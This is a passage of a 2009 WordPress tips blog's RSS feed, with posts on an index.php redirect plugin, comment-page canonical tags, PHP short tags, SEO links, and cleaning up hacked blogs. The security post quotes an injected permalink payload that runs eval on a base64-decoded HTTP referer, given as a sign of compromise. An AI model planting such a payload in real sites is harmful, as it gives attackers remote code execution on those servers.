<p>Here&#8217;s what happened: a client had me upgrade an old installation of SemioLogic&#8217;s version of WordPress to genuine WordPress. While it can be time-consuming, switching over is a fairly straightforward process most of the time. The challenge here was that while most of the site is normal .html files, WordPress is installed at the root level, and is not actually serving the &#8216;home&#8217; page of the site.</p>
<p>So you can maybe see where this is headed: the &#8216;home&#8217; page of the site is index.html. That&#8217;s what comes up when you ask for <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. The server is set to look for index.html <strong>first</strong>, then index.php if index.html isn&#8217;t there. So to get to the blog, you had to ask for <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong>.</p>
<p>But when you asked for index.php, WordPress, being the dutiful SEO-friendly software that it is, stripped off &#8220;index.php&#8221; from the request, and redirected to <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>.</p>
<p>The server saw the request for the site index file and promptly served up index.html. So you couldn&#8217;t get to the home page of the blog. If you had a specific post URL and typed it in, it worked fine.</p>
<p>Easy fix, says I. Settings -&gt; General, change the WordPress url to <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong> from <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>.</p>
<p>Oops. Now all the permalinks have &#8216;index.php/&#8217; prepended: <strong><span style="color: #e7847e;">http://domain-name.com/index.php/i-want-this-post</span></strong>. Not good, and not intended, especially as the site has been indexed in Google without the index.php in there.</p>
<p>I never did figure out how SemioLogic handled this; obviously it was working before the changeover. Undoubtedly there was an easy setting that disappeared once the SL files were gone. I can only think this issue had come up before and the author of SL provided a workaround.</p>
<p>Thankfully, the coders of WordPress also recognized that there may be a time when rewriting URLs wasn&#8217;t good so they provided a filter to disable or alter the rewrite. Once I found that notation in includes/canonical.php, the fix was a breeze. Write a plugin that disables the redirect to / when /index.php is called for. Here is the entire plugin:</p>
<pre class="brush: php;">
&lt;?php
/*
Plugin Name: Index.php fix
Plugin URI: http://ilikewordpress.com/loading-wordpress-from-index-php
Description: This plugin allows a blog installed at root to be addressed by /index.php. Remedies stripping of filename by includes/canonical.php
Author: Steve Johnson
Version: 1.0
Author URI: http://ilikewordpress.com/
*/

/*
*    Applies filter to redirect_canonical to defeat
*    stripping of index.php file
*/

function fix_index( $requested_url ) {
 if ( get_bloginfo( 'url' ) == $requested_url )
 return false;
}
add_filter( 'redirect_canonical', 'fix_index' );

?&gt;
</pre>
<p>And that&#8217;s all there is to it. Now when a browser asks for &#8216;index.php&#8217;, that&#8217;s what it gets instead of a redirection to /.</p>
<p>You could also put this in the functions.php file of a theme, but obviously it wouldn&#8217;t work if the theme were changed.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>176 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Loading+WordPress+From+index.php+http://is.gd/359Fo+from:+@steveinidaho'>Tweet this post</a>) </div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/274/loading-wordpress-from-index-php/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Don&#8217;t Subscribe To My Post Comments If You&#8217;re a SpamArrest Customer</title>
		<link>http://ilikewordpress.com/268/dont-subscribe-to-my-post-comments-if-youre-a-spamarrest-customer/</link>
		<comments>http://ilikewordpress.com/268/dont-subscribe-to-my-post-comments-if-youre-a-spamarrest-customer/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 22:03:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=268</guid>
		<description><![CDATA[On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent. Here&#8217;s news: I don&#8217;t click the verify link. As a matter of [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Don%27t+Subscribe+To+My+Post+Comments+If+You%27re+a+SpamArrest+Customer+http://is.gd/2Y7jK+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=tweet' alt='' /></a></div>
<p>On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent.</p>
<p>Here&#8217;s news: <strong>I don&#8217;t click the verify link.</strong> As a matter of fact, I don&#8217;t even <strong><em>GET </em></strong>the verify link. All of those verification emails go straight to my trash can. I realize this might not be very reader-friendly, but I simply don&#8217;t have time to open up every email and click those stupid links, even if I were inclined to.</p>
<p>So please &#8211; if you&#8217;re a spamarrest customer and you want to subscribe to a comment thread, put ilikewordpress.com on whatever kind of whitelist they have so you can get the subscription notifications. Otherwise, you won&#8217;t get any notices from this site about updated comments.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>No TweetBacks yet.</strong> (<a href='http://twitter.com/home?status=Don%27t+Subscribe+To+My+Post+Comments+If+You%27re+a+SpamArrest+Customer+http://is.gd/2Y7jK+from:+@steveinidaho'>Be the first to Tweet this post</a>)</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/268/dont-subscribe-to-my-post-comments-if-youre-a-spamarrest-customer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protecting Your WordPress Blog From Hackers, Crackers, and Jerks</title>
		<link>http://ilikewordpress.com/259/protecting-your-wordpress-blog-from-hackers-crackers-and-jerks/</link>
		<comments>http://ilikewordpress.com/259/protecting-your-wordpress-blog-from-hackers-crackers-and-jerks/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 20:15:35 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Blogging in General]]></category>
		<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[WordPress Security]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=259</guid>
		<description><![CDATA[The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Protecting+Your+WordPress+Blog+From+Hackers%2C+Crackers%2C+and+Jerks+http://is.gd/2XXlT+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=188' alt='' /></a></div>
<p>The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript code, outlined in these posts on the WordPress support forum:</p>
<p><a rel="nofollow" href="http://wordpress.org/support/topic/307652">http://wordpress.org/support/topic/307652</a><br />
<a rel="nofollow" href="http://wordpress.org/support/topic/297639">http://wordpress.org/support/topic/297639</a><br />
<a rel="nofollow" href="http://wordpress.org/support/topic/307518">http://wordpress.org/support/topic/307518</a></p>
<p>WP 2.8.3 and 2.8.4 are <em><strong>NOT</strong></em> vulnerable to this exploit. If you&#8217;ve been hacked any time in the last month, and you&#8217;re running pre-2.8.3 software, the monkey&#8217;s on YOUR back. If you were hacked and running up-to-date version of WP, send the details to <a href="mailto:security@wordpress.org">security@wordpress.org</a> please.</p>
<p>If you&#8217;ve been lax and haven&#8217;t upgraded to the latest version, don&#8217;t do it until you&#8217;ve determined whether or not you&#8217;ve already been invaded. If you have, clean it up first, then upgrade. (Be sure you read the &#8220;<a href="#beyond-upgrading">Beyond Upgrading</a>&#8221; section at the end of this post)<span id="more-259"></span></p>
<h3>How To Tell If You&#8217;ve Been Hacked</h3>
<p>Two clues: check your permalinks, check your administrator users.</p>
<p>Permalinks: from your front page, hover over a link to a single post. Look in the status bar at the bottom of your browser. If you see text like &#8216;<strong>mypost/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</strong>&#8216; then you&#8217;ve been had.</p>
<p>Log into your dashboard, go to the Users-&gt;Authors and Users page. At the top, you&#8217;ll see links that let you display users by their status. Look at the Administrator (x) link. How many admins do you have on your blog? If you&#8217;ve been hacked, the number in parentheses will be one higher than your actual admin count. In other words, if you&#8217;re a single-person blogger, you&#8217;ll see (2) for the Administrator count.</p>
<p>There are a couple of other hacks out there that aren&#8217;t related to this one; we&#8217;ll cover those in a little bit.</p>
<h3>What To Do If You&#8217;ve Been Hacked</h3>
<p>I&#8217;m going to be right up front with you &#8212; this one isn&#8217;t an easy one to clean up.</p>
<p><strong>Step #1: clean up your permalink structure.</strong> Hover over a link to a post on your blog, and make a note of your permalink structure. The two most popular permalink structures are &#8216;day &#8211; name&#8217;, i.e. <code>http://ilikewordpress.com/2009/09/06/sample-post/</code> or &#8216;month-name&#8217;, i.e. <code>http://ilikewordpress.com/2009/09/sample-post/</code> . Some more advanced users may have different setups.</p>
<p>In your Dashboard, go to Settings -&gt; Permalinks. In the input box, delete all the malicious code. What you leave will vary, determined by what your permalink structure was. If you&#8217;re using one of the two &#8216;standard&#8217; structures, select a different one, then reselect your original, then click the Update button. If you&#8217;re using a custom structure ( like I am on ilikewordpress.com ), you&#8217;ll need to clear the input box and enter the proper tags, i.e. <code>/%post_id%/%postname%/</code> like I have here.</p>
<p><strong>Step #2: get rid of the extra administrator.</strong> This is a little trickier. There are two ways to do this, first is through your Authors &amp; Users page, the second is directly through the database.</p>
<p>Method #1, through the Authors &amp; Users page: <a href="http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/">follow the instructions here from Journey Etc.</a> to clean out the malicious user.</p>
<p>Method #2, directly through the database, is a little more complicated. <a href="/contact">Contact me</a> if you want instructions on how to do it. Generally, unless you have other issues, it&#8217;s much easier to use Method #1.</p>
<p>Step #3: upgrade your WordPress software.</p>
<p>If you&#8217;re stuck with using FTP, follow <a href="http://codex.wordpress.org/Upgrading_WordPress_Extended">these upgrade instructions from the WordPress Codex</a>.</p>
<p>If you&#8217;re lucky enough ( or had enough foresight ) to be on <a href="/hostgator">hosting that gives you shell access</a>, here&#8217;s a 5 minute upgrade path:</p>
<p>Log into your hosting account through your SSH client. Navigate to your WordPress folder. Do the following (don&#8217;t do the lines prefaced by ## ):</p>
<pre class="brush: bash;">

## move config.php out of the way

mv wp-config.php wp-config.php.bak

## get rid of existing WP files

rm -rf wp-includes wp-admin wp-*.php xmlrpc.php

## get new wordpress files

wget http://wordpress.org/latest.zip

## uncompress

unzip latest.zip

## unzipped files were stored in /wordpress, copy from there

cp -R wordpress/* .

## get rid of zip and wordpress dir

rm -rf wordpress latest.zip

## restore config

mv wp-config.php.bak wp-config.php

## done!
</pre>
<p>If you&#8217;ve followed the upgrade path through several versions, it is essential that you upgrade your wp-config.php file to the latest version that contains the authentication keys.</p>
<p>If you want to do it directly on your server through vim, you can, but it&#8217;s probably easier to make a new config file and upload it through FTP.<br />
<a name="beyond-upgrading"></a></p>
<h3>Beyond Upgrading</h3>
<p>After you&#8217;ve upgraded your WordPress software, you&#8217;ll want to make sure you&#8217;re doing everything you can to keep this from happening again. Unless, of course, you like cleaning up after these people.</p>
<p>To start, review Michael VanDeMar&#8217;s post on <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">How to Completely Clean Your Hacked WordPress Installation</a>. Much good info there.</p>
<p>Second, install the <a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a> plugin and use it.</p>
<p>Third, don&#8217;t do stupid things. Use strong passwords, upgrade when new releases come out. They&#8217;re not just eye candy.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>188 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Protecting+Your+WordPress+Blog+From+Hackers%2C+Crackers%2C+and+Jerks+http://is.gd/2XXlT+from:+@steveinidaho'>Tweet this post</a>) </div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/259/protecting-your-wordpress-blog-from-hackers-crackers-and-jerks/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Using My Way Links To Build Incoming Traffic</title>
		<link>http://ilikewordpress.com/218/using-my-way-links-to-build-incoming-traffic/</link>
		<comments>http://ilikewordpress.com/218/using-my-way-links-to-build-incoming-traffic/#comments</comments>
		<pubDate>Thu, 28 May 2009 23:32:04 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Blogging in General]]></category>
		<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[jonathan leger]]></category>
		<category><![CDATA[my way links]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[seo strategies]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=218</guid>
		<description><![CDATA[This isn&#8217;t strictly WordPress related, but if you are an avid blogger and use your blog(s) for income, then you might want to check out Jonathan Leger&#8217;s My Way Links program. One thing that we&#8217;re all looking for as bloggers is traffic. Lots and lots of traffic. To get that traffic, we have to rank [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Using+My+Way+Links+To+Build+Incoming+Traffic+http://is.gd/IwG5+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=4' alt='' /></a></div>
<p>This isn&#8217;t strictly WordPress related, but if you are an avid blogger and use your blog(s) for income, then you might want to check out <a href="http://ilikewordpress.com/mywaylinks">Jonathan Leger&#8217;s My Way Links</a> program.</p>
<p>One thing that we&#8217;re all looking for as bloggers is traffic. Lots and lots of traffic. To get that traffic, we have to rank well in search engines for the things we write about. One of the biggest boosts to that ranking is incoming links, meaning links on other sites that link to pages or posts on your site.</p>
<p>Those can be difficult to get. For a lot of us, it&#8217;s not all that important. We&#8217;re content to let the community decide the worth of what we write, and link back to us every once in a while.</p>
<p>If you depend on your blog for income, you can&#8217;t afford to do that. A lot of your time is spent on SEO strategies. That&#8217;s where the <a href="http://ilikewordpress.com/mywaylinks">My Way Links program</a> comes in. You can build a variety of incoming links from authority sites at a quicker pace than you normally would be able to. You&#8217;ll want to use it in moderation of course, but a tool like this is invaluable when it comes to getting high-quality inbound links that will help get your blog found in the <a href="http://google.com">Big G</a>.</p>
<p>I wrote a short note about this on TheFastLane blog also, entitled <em><a href="http://www.thefastlane.info/2009/05/28/seo-linking-strategies/">SEO Linking Strategies</a></em>. You might want to check it out also.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>4 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Using+My+Way+Links+To+Build+Incoming+Traffic+http://is.gd/IwG5+from:+@steveinidaho'>Tweet this post</a>) </div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/218/using-my-way-links-to-build-incoming-traffic/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Using PHP Short Tags in Plugins Is a No-No</title>
		<link>http://ilikewordpress.com/213/using-php-short-tags-in-plugins-is-a-no-no/</link>
		<comments>http://ilikewordpress.com/213/using-php-short-tags-in-plugins-is-a-no-no/#comments</comments>
		<pubDate>Tue, 26 May 2009 01:23:23 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=213</guid>
		<description><![CDATA[I had a client call up over the weekend in a panic because her blog disappeared. &#8220;Help! All I see is a blank screen!&#8221; &#8220;What&#8217;s the last thing you did?&#8221; says I. &#8220;Updated my theme files,&#8221; says she. So after an hour&#8217;s worth of troubleshooting, I found the problem: Plugin and theme developers: please do [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Using+PHP+Short+Tags+in+Plugins+Is+a+No-No+http://is.gd/DXYU+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=2' alt='' /></a></div>
<p>I had a client call up over the weekend in a panic because her blog disappeared.</p>
<p>&#8220;Help! All I see is a blank screen!&#8221;</p>
<p>&#8220;What&#8217;s the last thing you did?&#8221; says I.</p>
<p>&#8220;Updated my theme files,&#8221; says she.</p>
<p>So after an hour&#8217;s worth of troubleshooting, I found the problem:</p>
<blockquote><p>Plugin and theme developers: please do us all a favor and do <strong>NOT </strong>use the short PHP opening tag (&lt;?) instead of the full length tag: &lt;?php.</p>
<p>Just because you have your development server set up to recognize short tags doesn&#8217;t mean that production servers do. In fact, many if not most of them <strong>don&#8217;t</strong>.</p></blockquote>
<p>Just a request. Yeah, I suppose I make some money fixing this stuff when you do that. But I&#8217;d rather not.</p>
<p>Bloggers: if you upload a plugin or theme and you get a fatal error saying &#8220;Unexpected $end in filename.php at line xx&#8221;, this is one of the first things to check.</p>
<p>Unfortunately, if your web server isn&#8217;t set up to allow short PHP tags and also doesn&#8217;t display errors (production servers shouldn&#8217;t display PHP errors or notices) you might just get the dreaded blank white &#8220;I&#8217;m dead&#8221; screen.</p>
<p>Just something to be aware of.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>2 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Using+PHP+Short+Tags+in+Plugins+Is+a+No-No+http://is.gd/DXYU+from:+@steveinidaho'>Tweet this post</a>) </div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/213/using-php-short-tags-in-plugins-is-a-no-no/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dealing With Duplicate Content Issues on WordPress Comments Pages</title>
		<link>http://ilikewordpress.com/181/dealing-with-duplicate-content-issues-on-wordpress-comments-pages/</link>
		<comments>http://ilikewordpress.com/181/dealing-with-duplicate-content-issues-on-wordpress-comments-pages/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 20:44:32 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[WordPress plugins]]></category>
		<category><![CDATA[add_action]]></category>
		<category><![CDATA[canonical]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[cpage]]></category>
		<category><![CDATA[duplicate content]]></category>
		<category><![CDATA[functions.php]]></category>
		<category><![CDATA[get_permalink]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[wordpress code]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=181</guid>
		<description><![CDATA[I saw a tweet today about WordPress comment page duplication issues related to SEO. While the word is still out as to just how much damage it does or doesn&#8217;t do to your ability to get found by the Great G, this specific problem is relatively easily fixed &#8212; and not by disabling the paged [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Dealing+With+Duplicate+Content+Issues+on+WordPress+Comments+Pages+http://is.gd/tbPV+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=12' alt='' /></a></div>
<p>I saw a tweet today about WordPress <a href="http://www.thechetan.com/2009/04/comment-page-in-wordpress-27-and-seo/">comment page duplication issues related to SEO</a>. While the word is still out as to just how much damage it does or doesn&#8217;t do to your ability to get found by the <a href="http://google.com">Great G</a>, this specific problem is relatively easily fixed &#8212; and not by disabling the paged comments feature that the Wizards of WordPress have so kindly coded for us (you ever had a post with 300 comments? you&#8217;ll understand what I mean&#8230;).</p>
<p>All it takes is a little bit of code in the functions.php file in your theme. If you&#8217;re uncomfortable editing your theme files or don&#8217;t know how, leave a comment and I&#8217;ll whip up a little plugin. This may be a good time to learn to edit your files, though <img src='http://ilikewordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>This little bit of code doesn&#8217;t affect anything but WordPress comment pages. If you use WordPress for something other than a plain-vanilla blog, you may need <a href="http://yoast.com/wordpress/canonical/">the horsepower of Yoast&#8217;s Canonical URLs plugin</a> for WordPress.</p>
<p>So in your functions.php file, insert the following code (I split the echo lines up for clarity, normally they&#8217;d be all on one line):</p>
<pre class="brush: php;">
function canonical_for_comments() {
 global $cpage, $post;
 if ( $cpage &gt; 1 ) :
  echo &quot;\n&quot;;
  echo &quot;&lt;link rel='canonical' href='&quot;;
  echo get_permalink( $post-&gt;ID );
  echo &quot;' /&gt;\n&quot;;
 endif;
}
add_action( 'wp_head', 'canonical_for_comments' );
</pre>
<p>Make sure you paste the code before the last ?&gt; characters at the end of the file.</p>
<p>For those of you who care, here&#8217;s a quick explanation of what the above code does &#8212; you&#8217;ll get a short intro into the behind-the-scenes functioning of WordPress.</p>
<p>When a visitor navigates beyond the first page of comments, the variable $cpage contains the page # that&#8217;s being displayed. The $post variable contains all of the information about the post. The function tests to see if we&#8217;re on a comments page greater than 1, if so, it spits out the &lt;link rel=&#8230;./&gt; characters. But where does it spit them?</p>
<p>That&#8217;s controlled by the add_action line. We&#8217;re telling WordPress that when it&#8217;s building the head section (&#8216;wp-head&#8217;), to add our special &#8216;canonical_for_comments&#8217; function.</p>
<p>Simple, easy schmeezy.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>12 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Dealing+With+Duplicate+Content+Issues+on+WordPress+Comments+Pages+http://is.gd/tbPV+from:+@steveinidaho'>Tweet this post</a>) </div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/181/dealing-with-duplicate-content-issues-on-wordpress-comments-pages/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
	</channel>
</rss>
